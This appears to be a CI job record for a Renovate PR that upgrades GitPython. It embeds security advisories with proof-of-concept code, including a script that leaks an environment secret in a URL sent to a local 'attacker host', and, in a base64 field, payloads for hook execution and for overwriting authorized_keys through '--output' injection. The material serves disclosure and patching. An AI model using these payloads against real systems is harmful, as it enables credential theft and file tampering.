          \                   # fetch fails after the request is already sent\n\nsrv.shutdown()\nover_network
          = any(SENTINEL in p for p in captured)\nprint(\"HTTP paths received   :\",
          [norm(p) for p in captured])\nprint(\"SENTINEL over network :\", over_network)\n\nprint()\nif
          SENTINEL in stored and over_network:\n    print(\"VULNERABLE: env-var expanded
          into stored URL AND transmitted to attacker host\")\nelif SENTINEL in stored:\n
          \   print(\"VULNERABLE: env-var expanded into stored git-config URL\")\nelse:\n
          \   print(\"not reproduced\")\nPYEOF\n```\n\n##### Step 3: Run it\n\n```bash\ncd
          /tmp/gp-remote-poc && ./venv/bin/python poc.py\n```\n\nExpected output (the
          listener's ephemeral port is shown as `PORT`):\n\n```\ngitpython version:
          3.1.53\nattacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git\nstored
          remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git\nSENTINEL
          in git config: True\nHTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']\nSENTINEL
          over network : True\n\nVULNERABLE: env-var expanded into stored URL AND
          transmitted to attacker host\n```\n\nThe `${GP_SENTINEL_SECRET}` token in
          the supplied URL is replaced with the environment value both in the stored
          `.git/config` URL and in the request that reaches the attacker-controlled
          host.\n\n##### Suggested Fix\n\nPass `expand_vars=False` at the remaining
          URL callers, matching the clone fix:\n\n- `git/remote.py` `Remote.create`:
          `url = Git.polish_url(url, expand_vars=False)`\n- `git/objects/submodule/base.py`
          `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)`\n\nMore
          robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var
          expansion on a URL is never desirable for network remotes) and require callers
          that genuinely normalize local paths to opt in.\n\n##### Cleanup\n\n```bash\nrm
          -rf /tmp/gp-remote-poc\n```\n\n##### Impact\n\nAny secret in the hosting
          process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens)
          is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()`
          / `Remote.add()`. The secret is expanded into `.git/config` immediately
          and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote
          update`. This is the documented \"import repository from URL\" attacker
          model of GHSA-rwj8-pgh3-r573 \u2014 CI servers, git-hosting mirrors, and
          dependency scanners \u2014 applied to the add-a-remote flow, which the clone-only
          fix did not cover. The same disclosure reaches `.gitmodules` (a committable
          file) via `Submodule.add()`.\n\n#### Severity\n- CVSS Score: 7.5 / 10 (High)\n-
          Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n#### References\n-
          [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67)\n-
          [https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162](https://redirect.github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-94p4-4cq8-9g67)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
          [`v3.1.55`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55):
          - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55)\n\n####
          What's Changed\n\n- fix: prevent environment expansion in remote URLs by
          [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2181](https://redirect.github.com/gitpython-developers/GitPython/pull/2181)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55>\n\n###
          [`v3.1.54`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54):
          - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54)\n\n####
          What's Changed\n\n- Harden unsafe Git option validation by [@&#8203;Byron](https://redirect.github.com/Byron)
          in [#&#8203;2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54>\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
          defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
          manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
          conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
          Close this PR and you won't be reminded about these updates again.\n\n---\n\n
          - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
          box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
          View the [repository job log](https://developer.mend.io/github/osism/python-osism).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yODAuMCIsInVwZGF0ZWRJblZlciI6IjQzLjI4MC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
        change_url: https://github.com/osism/python-osism/pull/2517
        commit_id: cb3246bd3a214c3cf30cc56f53059d4b457a9af7
        patchset: cb3246bd3a214c3cf30cc56f53059d4b457a9af7
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/python-osism
          name: osism/python-osism
          short_name: python-osism
          src_dir: src/github.com/osism/python-osism
        topic: null
      job: container-image-python-osism-frontend-build
      jobtags: []
      max_attempts: 3
      message: VXBkYXRlIGRlcGVuZGVuY3kgR2l0UHl0aG9uIHRvIHYzLjEuNTUgW1NFQ1VSSVRZXQoKVGhpcyBQUiBjb250YWlucyB0aGUgZm9sbG93aW5nIHVwZGF0ZXM6Cgp8IFBhY2thZ2UgfCBDaGFuZ2UgfCBbQWdlXShodHRwczovL2RvY3MucmVub3ZhdGVib3QuY29tL21lcmdlLWNvbmZpZGVuY2UvKSB8IFtDb25maWRlbmNlXShodHRwczovL2RvY3MucmVub3ZhdGVib3QuY29tL21lcmdlLWNvbmZpZGVuY2UvKSB8CnwtLS18LS0tfC0tLXwtLS18CnwgW0dpdFB5dGhvbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbikgfCBgPT0zLjEuNTNgIOKGkiBgPT0zLjEuNTVgIHwgIVthZ2VdKGh0dHBzOi8vZGV2ZWxvcGVyLm1lbmQuaW8vYXBpL21jL2JhZGdlcy9hZ2UvcHlwaS9naXRweXRob24vMy4xLjU1P3NsaW09dHJ1ZSkgfCAhW2NvbmZpZGVuY2VdKGh0dHBzOi8vZGV2ZWxvcGVyLm1lbmQuaW8vYXBpL21jL2JhZGdlcy9jb25maWRlbmNlL3B5cGkvZ2l0cHl0aG9uLzMuMS41My8zLjEuNTU/c2xpbT10cnVlKSB8CgotLS0KCiMjIyBHaXRQeXRob246IEluY29tcGxldGUgdW5zYWZlX2dpdF9jbG9uZV9vcHRpb25zIGRlbnlsaXN0IG9taXRzIC0tdGVtcGxhdGUgZW5hYmxpbmcgYXJiaXRyYXJ5IGNvbW1hbmQgZXhlY3V0aW9uIHZpYSBjbG9uZSBob29rcwpbR0hTQS02cDhoLTN3Z3gtOTdnZl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS02cDhoLTN3Z3gtOTdnZikKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzCiMjIyMjIFN1bW1hcnkKR2l0UHl0aG9uJ3MgYHVuc2FmZV9naXRfY2xvbmVfb3B0aW9uc2AgZGVueWxpc3Qgb21pdHMgYC0tdGVtcGxhdGVgLiBgZ2l0IGNsb25lIC0tdGVtcGxhdGU9PGRpcj5gIGNvcGllcyBgPGRpcj4vaG9va3MvYCBpbnRvIHRoZSBuZXcgcmVwb3NpdG9yeSBhbmQgcnVucyB0aGVtIChgcG9zdC1jaGVja291dGAgZmlyZXMgZHVyaW5nIGNsb25lKSwgc28gYSBjYWxsZXIgd2hvIGNhbiBpbmZsdWVuY2UgY2xvbmUgb3B0aW9ucyBjYW4gYWNoaWV2ZSBhcmJpdHJhcnkgY29tbWFuZCBleGVjdXRpb24gaW4gdGhlIGRlZmF1bHQgYGFsbG93X3Vuc2FmZV9vcHRpb25zPUZhbHNlYCBjb25maWd1cmF0aW9uLgoKIyMjIyMgUm9vdCBDYXVzZQpgYmFzZS5weToxNDUtMTUyYCBkZWZpbmVzIGB1bnNhZmVfZ2l0X2Nsb25lX29wdGlvbnMgPSBbIi0tdXBsb2FkLXBhY2siLCItdSIsIi0tY29uZmlnIiwiLWMiXWAg4oCUIGAtLXRlbXBsYXRlYCBpcyBhYnNlbnQuIFRoZSBndWFyZCBjYW5kaWRhdGUgYFsnLS10ZW1wbGF0ZSddYCBwYXNzZXMgYGNoZWNrX3Vuc2FmZV9vcHRpb25zYCAodmVyaWZpZWQpLiBnaXQgY29waWVzIHRoZSBob29rIGRpcmVjdG9yeSBhbmQgZXhlY3V0ZXMgYHBvc3QtY2hlY2tvdXRgIGF0IGNoZWNrb3V0IHRpbWUuIGdpdCdzIGBwcm90b2NvbC5hbGxvd2AvYEdJVF9BTExPV19QUk9UT0NPTGAgZG8gbm90IGdhdGUgYC0tdGVtcGxhdGVgOyB0aGUgaW5jb21wbGV0ZSBkZW55bGlzdCBpcyB0aGUgb25seSBkZWZlbnNlLgoKIyMjIyMgSW1wYWN0CkFyYml0cmFyeSBPUyBjb21tYW5kIGV4ZWN1dGlvbiBkdXJpbmcgY2xvbmUgKGRlZmF1bHQgY29uZmlnKS4gUmVxdWlyZXMgYW4gYXR0YWNrZXItcmVhZGFibGUgZGlyZWN0b3J5IGNvbnRhaW5pbmcgYW4gZXhlY3V0YWJsZSBob29rIOKAlCBhIGdlbnVpbmUgc2Vjb25kIHByZWNvbmRpdGlvbiAocmVhbGlzdGljIHZpYSBzaGFyZWQgZmlsZXN5c3RlbXMsIHVwbG9hZCBkaXJzLCBgL3RtcGAsIG9yIGF0dGFja2VyLXdyaXRhYmxlIG5ldHdvcmsgcGF0aHMpLCByZWZsZWN0ZWQgYXMgQUM6SC4KCiMjIyMjIFByb29mIG9mIENvbmNlcHQKYGBgcHl0aG9uCgojIyMjIyBhdHRhY2tlciBzdGFnZXMgPGRpcj4vaG9va3MvcG9zdC1jaGVja291dCAoY2htb2QgK3gpCmZyb20gZ2l0IGltcG9ydCBSZXBvClJlcG8uY2xvbmVfZnJvbShzcmMsIGRzdCwgdGVtcGxhdGU9JzxkaXI+JykgICAjIHBvc3QtY2hlY2tvdXQgaG9vayBleGVjdXRlcyAtPiBtYXJrZXIgY3JlYXRlZCAodmVyaWZpZWQpCmBgYAoKIyMjIyMgQXR0YWNrIENoYWluCjEuIFNldHVwOiBhdHRhY2tlciBzdGFnZXMgYDxkaXI+L2hvb2tzL3Bvc3QtY2hlY2tvdXRgIChjaG1vZCAreCkuIEd1YXJkOiBuL2EgKGZpbGVzeXN0ZW0pLgoyLiBFbnRyeTogYFJlcG8uY2xvbmVfZnJvbSh1cmwsIHBhdGgsIHRlbXBsYXRlPSc8ZGlyPicpYC4gR3VhcmQ6IGBjaGVja191bnNhZmVfb3B0aW9ucyhjYW5kaWRhdGVzPVsnLS10ZW1wbGF0ZSddLCB1bnNhZmU9dW5zYWZlX2dpdF9jbG9uZV9vcHRpb25zKWAuIEJ5cGFzcyBwcm9vZjogYC0tdGVtcGxhdGVgIG5vdCBvbiB0aGUgZGVueWxpc3QgLT4gcGFzc2VzICh2ZXJpZmllZCBjYW5kaWRhdGUgYFsnLS10ZW1wbGF0ZSddYCwgbm8gZXJyb3IpLgozLiBTaW5rOiBnaXQgY29waWVzIHRoZSBob29rIGFuZCBleGVjdXRlcyBgcG9zdC1jaGVja291dGAgYXQgY2hlY2tvdXQuIEltcGFjdDogQUNFLCBkZWZhdWx0IGNvbmZpZyAodmVyaWZpZWQgbWFya2VyIGNyZWF0ZWQpLgoKIyMjIyMgQnlwYXNzIEV2aWRlbmNlCkxpdmUtdmVyaWZpZWQgb24gSEVBRCAodGFnIDMuMS41Myk6IGd1YXJkIGNhbmRpZGF0ZSBgWyctLXRlbXBsYXRlJ11gIHBhc3NlZCB3aXRoIG5vIGVycm9yOyBzdGFnZWQgYHBvc3QtY2hlY2tvdXRgIGhvb2sgZXhlY3V0ZWQgZHVyaW5nIGBjbG9uZV9mcm9tYCwgY3JlYXRpbmcgdGhlIG1hcmtlci4gSW5kZXBlbmRlbnQgb2YgdGhlIHZhbHVlLXNtdWdnbGUgYnlwYXNzIChgLS10ZW1wbGF0ZWAgaXMgYSBsZWdpdGltYXRlIGxvbmcgb3B0aW9uIHRoYXQgc3Vydml2ZXMgYW55IHNpbmdsZS1jaGFyLXZhbHVlIGZpeCkuIE5vdCBjb3ZlcmVkIGJ5IGFueSBleGlzdGluZyBhZHZpc29yeS4KCiMjIyMjIEFmZmVjdGVkIFZlcnNpb25zCmA8PSAzLjEuNTNgCgojIyMjIyBTdWdnZXN0ZWQgRml4CkFkZCBgLS10ZW1wbGF0ZWAgKGFuZCBhdWRpdCBmb3Igb3RoZXIgaG9vay9leGVjLWluZmx1ZW5jaW5nIG9wdGlvbnMpIHRvIGB1bnNhZmVfZ2l0X2Nsb25lX29wdGlvbnNgLgoKLS0tClJlcG9ydGVkIGJ5ICoqenggKEphY2UpKiog4oCUIEdpdEh1YjogQCYjODIwMzttYW51cy11c2UKCiMjIyMgU2V2ZXJpdHkKLSBDVlNTIFNjb3JlOiA3LjUgLyAxMCAoSGlnaCkKLSBWZWN0b3IgU3RyaW5nOiBgQ1ZTUzozLjEvQVY6Ti9BQzpIL1BSOkwvVUk6Ti9TOlUvQzpIL0k6SC9BOkhgCgojIyMjIFJlZmVyZW5jZXMKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtNnA4aC0zd2d4LTk3Z2ZdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLTZwOGgtM3dneC05N2dmKQotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjE4MF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxODApCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vY29tbWl0L2ZmY2I1MzU5ZTg3NjE5ZjRmZTRhNzBhNGFmZjVmMDhjNTU4MGJhOTddKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vY29tbWl0L2ZmY2I1MzU5ZTg3NjE5ZjRmZTRhNzBhNGFmZjVmMDhjNTU4MGJhOTcpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob25dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24pCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS41NF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9yZWxlYXNlcy90YWcvMy4xLjU0KQoKVGhpcyBkYXRhIGlzIHByb3ZpZGVkIGJ5IFtPU1ZdKGh0dHBzOi8vb3N2LmRldi92dWxuZXJhYmlsaXR5L0dIU0EtNnA4aC0zd2d4LTk3Z2YpIGFuZCB0aGUgW0dpdEh1YiBBZHZpc29yeSBEYXRhYmFzZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdGh1Yi9hZHZpc29yeS1kYXRhYmFzZSkgKFtDQy1CWSA0LjBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRodWIvYWR2aXNvcnktZGF0YWJhc2UvYmxvYi9tYWluL0xJQ0VOU0UubWQpKS4KPC9kZXRhaWxzPgoKLS0tCgojIyMgR2l0UHl0aG9uOiBBcmJpdHJhcnkgZmlsZSBvdmVyd3JpdGUgdmlhIGdpdCBkaWZmIC0tb3V0cHV0IGFyZ3VtZW50IGluamVjdGlvbiBpbiBEaWZmYWJsZS5kaWZmIChrZXktIGFuZCB2YWx1ZS1jb250cm9sbGVkKQpbR0hTQS1manI0LXg2NjMtbXd4Y10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS1manI0LXg2NjMtbXd4YykKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzCiMjIyMjIFN1bW1hcnkKYERpZmZhYmxlLmRpZmYoKWAgZm9yd2FyZHMgYCoqa3dhcmdzYCBzdHJhaWdodCBpbnRvIGBkaWZmYC9gZGlmZl90cmVlYCB3aXRoICoqbm8qKiBgY2hlY2tfdW5zYWZlX29wdGlvbnNgIGd1YXJkLiBgRGlmZmFibGVgIGlzIG1peGVkIGludG8gYENvbW1pdGAsIGBUcmVlYCwgYEluZGV4RmlsZWAsIGFuZCBgU3VibW9kdWxlYCwgZ2l2aW5nIGEgYnJvYWQgc3VyZmFjZS4gYGdpdCBkaWZmIC0tb3V0cHV0PTxwYXRoPmAgd3JpdGVzIHJlYWwgcGF0Y2ggY29udGVudCB0byBhbiBhdHRhY2tlci1jaG9zZW4gcGF0aCwgZW5hYmxpbmcgYXJiaXRyYXJ5IGZpbGUgb3ZlcndyaXRlLgoKIyMjIyMgUm9vdCBDYXVzZQpgZGlmZi5weToxODgtMjgzYCBidWlsZHMgYW5kIHJ1bnMgdGhlIGRpZmYgY29tbWFuZCB3aXRoIG5vIGBjaGVja191bnNhZmVfb3B0aW9uc2AgYW55d2hlcmUgaW4gdGhlIG1ldGhvZCAoZ3JlcC1jb25maXJtZWQpLiBBZGRpdGlvbmFsbHkgYGRpZmYucHk6MjY1YCBkb2VzIGBhcmdzLmluc2VydCgwLCBvdGhlcilgLCBwbGFjaW5nIHRoZSBjYWxsZXItc3VwcGxpZWQgYG90aGVyYCByZWYgQkVGT1JFIHRoZSBgLS1gIHNlcGFyYXRvciwgc28gYSB2YWx1ZSBvZiBgLS1vdXRwdXQ9L3BhdGhgIGlzIHBhcnNlZCBieSBnaXQgYXMgYW4gb3B0aW9uIOKAlCBhIHZhbHVlLW9ubHkgY29udHJvbCBwYXRoIHJlcXVpcmluZyBubyBrd2FyZyBrZXkuCgojIyMjIyBJbXBhY3QKT3ZlcndyaXRlL2NvcnJ1cHQgYW55IGZpbGUgYXQgcHJvY2VzcyBwcml2aWxlZ2Ugd2l0aCBhdHRhY2tlci1jaG9zZW4gcGF0aCAoZS5nLiBgfi8uc3NoL2F1dGhvcml6ZWRfa2V5c2AsIGNvbmZpZ3MsIGxvY2tmaWxlcykuIENvbnRlbnQgaXMgcmVhbCBkaWZmL3BhdGNoIGJ5dGVzIChhdHRhY2tlci1pbmZsdWVuY2VkKS4gUGVyIHRoZSBza2lsbCdzIHJ1bGUsIGNvbnRyb2xsaW5nIFdISUNIIGZpbGUgaXMgb3ZlcndyaXR0ZW4gPSBJOkggcmVnYXJkbGVzcyBvZiBjb250ZW50IGNvbnN0cmFpbnRzLgoKIyMjIyMgUHJvb2Ygb2YgQ29uY2VwdApgYGBweXRob24KCiMjIyMjIEtleS1jb250cm9sOgpjb21taXQuZGlmZihvdGhlcl9jb21taXQsIG91dHB1dD0nL2hvbWUvYXBwLy5zc2gvYXV0aG9yaXplZF9rZXlzJykgICAjIHZpY3RpbSBvdmVyd3JpdHRlbiB3aXRoIGRpZmYgKDEwNSBieXRlcyB2ZXJpZmllZCkKCiMjIyMjIFZhbHVlLWNvbnRyb2wgKGF0dGFja2VyIGNvbnRyb2xzIG9ubHkgdGhlIHJlZiBzdHJpbmcpOgpjb21taXQuZGlmZihvdGhlcj0nLS1vdXRwdXQ9L2hvbWUvYXBwLy5zc2gvYXV0aG9yaXplZF9rZXlzJykgICAgICAgICAgIyAxNC1ieXRlIHZpY3RpbSAtPiAxNDYgYnl0ZXMgb2YgZGlmZi10cmVlIG91dHB1dApgYGAKCiMjIyMjIEF0dGFjayBDaGFpbgoxLiBFbnRyeSAodmFsdWUtY29udHJvbCk6IGBjb21taXQuZGlmZihvdGhlcj08dXNlciByZWY+KWAgd2l0aCBgb3RoZXIgPSAiLS1vdXRwdXQ9L2hvbWUvYXBwLy5zc2gvYXV0aG9yaXplZF9rZXlzImAuIEd1YXJkOiBub25lIGluIGBEaWZmYWJsZS5kaWZmYC4gQnlwYXNzIHByb29mOiBubyBgY2hlY2tfdW5zYWZlX29wdGlvbnNgIGluIHRoZSBtZXRob2QgYm9keSAoZ3JlcCk7IGBvdGhlcmAgaW5zZXJ0ZWQgcHJlLWAtLWAgYXQgZGlmZi5weToyNjUuCjIuIFNpbms6IGBnaXQgZGlmZi10cmVlIDxzaGE+IC0tb3V0cHV0PS9ob21lL2FwcC8uc3NoL2F1dGhvcml6ZWRfa2V5cyAtciAuLi5gIC0+IGdpdCBvcGVucyt0cnVuY2F0ZXMgdGhlIHRhcmdldCB0aGVuIHdyaXRlcyBkaWZmIGNvbnRlbnQuIEltcGFjdDogb3ZlcndyaXRlL2NvcnJ1cHQgYW55IGZpbGUgYXQgcHJvY2VzcyBwcml2aWxlZ2UgKGF0dGFja2VyIGNob29zZXMgdGhlIHBhdGgpLiBWZXJpZmllZCBhcmd2IGFuZCB2aWN0aW0gb3ZlcndyaXRlIGxpdmUuCgojIyMjIyBCeXBhc3MgRXZpZGVuY2UKTGl2ZS12ZXJpZmllZCBvbiBIRUFEICh0YWcgMy4xLjUzKTogYm90aCBrZXktY29udHJvbCAoYG91dHB1dD1gKSBhbmQgdmFsdWUtY29udHJvbCAoYG90aGVyPSctLW91dHB1dD0uLi4nYCkgb3Zlcndyb3RlIGEgdmljdGltIGZpbGUgd2l0aCByZWFsIGRpZmYtdHJlZSBjb250ZW50OyBhcmd2IGNvbmZpcm1lZCBgWydnaXQnLCdkaWZmLXRyZWUnLCc8c2hhPicsJy0tb3V0cHV0PS92aWN0aW0nLCctcicsLi4uXWAuIFRoaXMgaXMgdGhlIHNhbWUgdmFsdWUtY29udHJvbCBtb2RlbCBHSFNBLTk1NnggZGVlbWVkIGZpeC13b3J0aHkgZm9yIGBpdGVyX2NvbW1pdHMocmV2PSctLW91dHB1dD0nKWAg4oCUIGJ1dCBgZGlmZmAgaXMgYSBkaXN0aW5jdCwgdW5ndWFyZGVkIHNpbmsgTk9UIHRvdWNoZWQgYnkgdGhhdCBmaXguCgojIyMjIyBBZmZlY3RlZCBWZXJzaW9ucwpgPD0gMy4xLjUzYAoKIyMjIyMgU3VnZ2VzdGVkIEZpeApBZGQgYGNoZWNrX3Vuc2FmZV9vcHRpb25zYCB0byBgRGlmZmFibGUuZGlmZmAgKG1pcnJvcmluZyBgaXRlcl9jb21taXRzYC9gYXJjaGl2ZWApLCBhbmQvb3IgcGxhY2UgYC0tZW5kLW9mLW9wdGlvbnNgIGJlZm9yZSB0aGUgYG90aGVyYCByZWYgc28gaXQgY2Fubm90IGJlIHBhcnNlZCBhcyBhbiBvcHRpb24uCgotLS0KUmVwb3J0ZWQgYnkgKip6eCAoSmFjZSkqKiDigJQgR2l0SHViOiBAJiM4MjAzO21hbnVzLXVzZQoKIyMjIyBTZXZlcml0eQotIENWU1MgU2NvcmU6IDguMSAvIDEwIChIaWdoKQotIFZlY3RvciBTdHJpbmc6IGBDVlNTOjMuMS9BVjpOL0FDOkwvUFI6TC9VSTpOL1M6VS9DOk4vSTpIL0E6SGAKCiMjIyMgUmVmZXJlbmNlcwotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1manI0LXg2NjMtbXd4Y10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtZmpyNC14NjYzLW13eGMpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTgwXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjE4MCkKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9jb21taXQvMWQ1MWI4OTFkN2YyMzYwNDRhNmFhMTc0OThlYzY4MmI2M2RhZDZlNl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9jb21taXQvMWQ1MWI4OTFkN2YyMzYwNDRhNmFhMTc0OThlYzY4MmI2M2RhZDZlNikKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbikKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9yZWxlYXNlcy90YWcvMy4xLjU0XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3JlbGVhc2VzL3RhZy8zLjEuNTQpCgpUaGlzIGRhdGEgaXMgcHJvdmlkZWQgYnkgW09TVl0oaHR0cHM6Ly9vc3YuZGV2L3Z1bG5lcmFiaWxpdHkvR0hTQS1manI0LXg2NjMtbXd4YykgYW5kIHRoZSBbR2l0SHViIEFkdmlzb3J5IERhdGFiYXNlXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0aHViL2Fkdmlzb3J5LWRhdGFiYXNlKSAoW0NDLUJZIDQuMF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdGh1Yi9hZHZpc29yeS1kYXRhYmFzZS9ibG9iL21haW4vTElDRU5TRS5tZCkpLgo8L2RldGFpbHM+CgotLS0KCiMjIyBHaXRQeXRob246IFVuc2FmZSBnaXQgb3B0aW9uIGd1YXJkIGJ5cGFzcyB2aWEgc2luZ2xlLWNoYXJhY3RlciBrd2FyZyB2YWx1ZSB0b2tlbiBzbXVnZ2xpbmcgZW5hYmxlcyBhcmJpdHJhcnkgY29tbWFuZCBleGVjdXRpb24KW0dIU0Etcjltci1tMzdjLTVmcjNdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0Etcjltci1tMzdjLTVmcjMpCgo8ZGV0YWlscz4KPHN1bW1hcnk+TW9yZSBpbmZvcm1hdGlvbjwvc3VtbWFyeT4KCiMjIyMgRGV0YWlscwojIyMjIyBTdW1tYXJ5CkdpdFB5dGhvbidzIGBjaGVja191bnNhZmVfb3B0aW9uc2AgZ3VhcmQgKHRoZSBjb250cm9sIGludHJvZHVjZWQgYnkgQ1ZFLTIwMjYtNDIyMTUgLyBHSFNBLTJmOTYgYW5kIGhhcmRlbmVkIHNpbmNlKSBjYW4gYmUgYnlwYXNzZWQgZm9yICoqZXZlcnkqKiBndWFyZGVkIG1ldGhvZCAoYGNsb25lYC9gY2xvbmVfZnJvbWAsIGBmZXRjaGAvYHB1bGxgL2BwdXNoYCwgYGxzX3JlbW90ZWAsIGBpdGVyX2NvbW1pdHNgLCBgYmxhbWVgLCBgYXJjaGl2ZWApIGJ5IHNtdWdnbGluZyBhbiBvcHRpb24gdG9rZW4gaW5zaWRlIHRoZSBWQUxVRSBvZiBhIHNpbmdsZS1jaGFyYWN0ZXIga3dhcmcuIEluIHRoZSBkZWZhdWx0IGBhbGxvd191bnNhZmVfb3B0aW9ucz1GYWxzZWAgY29uZmlndXJhdGlvbiB0aGlzIHlpZWxkcyBhcmJpdHJhcnkgY29tbWFuZCBleGVjdXRpb24gdmlhIGAtLXVwbG9hZC1wYWNrYC4KCiMjIyMjIFJvb3QgQ2F1c2UKVGhlIGd1